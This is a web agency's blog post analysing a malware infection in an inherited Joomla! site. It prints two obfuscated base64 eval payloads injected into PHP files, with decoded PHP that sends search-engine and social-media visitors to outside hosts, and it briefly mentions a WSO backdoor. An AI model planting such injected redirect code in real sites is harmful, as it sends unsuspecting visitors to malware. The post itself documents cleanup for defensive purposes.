Repeated redirect hack

Post: 8 March 2013 by kriss in: Sécurité Print

We recently inherited a Joomla! website from one of our client and the initial deal was to deploy, host and maintain it on our own servers. Upon inspecting their backup and noticing some PHP files over 200 Kb, it became quickly obvious that the website was infected by a malware.

As suggested, all PHP files were altered by base64-encoded code, and the client was not even aware of this. The malicious code was injected after each occurence of <?php, which explained why some files alternating between HTML and PHP (such as Joomla! views) were abnormally big. It is interesting to note that sometimes, different obsuscated payloads were injected in the same file, at different locations, although the unobfuscated version revealed to be similar. So far, we discovered fourteen different payloads, hiding only two different scripts. The first one looked like:

Print

  1. <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpIHtoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ29vZDMuZXBhYy50by8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0NCn0="));

Which decodes to:

Print

  1.  
  2. $qazplm=headers_sent();
  3. if (!$qazplm){
  4. $referer=$_SERVER['HTTP_REFERER'];
  5. $uag=$_SERVER['HTTP_USER_AGENT'];
  6. if ($uag) {
  7. if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
  8. if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
  9. if (!stristr($referer,"cache") or !stristr($referer,"inurl")) {header("Location: http://good3.epac.to/");
  10. exit();
  11. }
  12. }
  13. }
  14. }
  15. }

The programmer will quickly realize that this code mostly redirects people not using Internet Explorer 6 or 7 and coming from certain major search engines or social networks to http://good3.epac.to/, probably hosting further malwares. This hack is quite similar to the organic redirect hack discussed previously.

The second evil payload looked like:

Print

  1. <?php eval(base64_decode('DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw\/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly90aW55dXJsLmNvbS9ic3ByazZtIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9'));

Which decodes to:

Print

  1.  
  2. $nccv=headers_sent();
  3. if (!$nccv){
  4. $referer=$_SERVER['HTTP_REFERER'];
  5. $ua=$_SERVER['HTTP_USER_AGENT'];
  6. if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
  7. if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
  8. header("Location: http://tinyurl.com/bsprk6m");
  9. exit();
  10. }
  11. }
  12. }

This malicious code is very similar to the previous one, although it does not care about which browser is used and the redirect URL is now http://tinyurl.com/bsprk6m, which is probably just another malware website to ignore.

Upon scanning and cleaning the files, we discovered a copy of the WSO backdoor in the images folder, as well as a script to execute arbitrary code POSTed to the server, both of which are likely to have been used to engineer this injection. Since we inherited this website after it was compromised, we cannot be sure about the circumstances of this security issue and the reasons that allowed these files to be uploaded on the server. It may not necessarily come from a vulnerability specific to Joomla!, and it may even come from another website which was used to be hosted on the same server.

For safety, we changed all the passwords, upgraded the CMS and its extensions, and a few weeks later, it looks like the website remained clean. Let's expect that it will remain as is.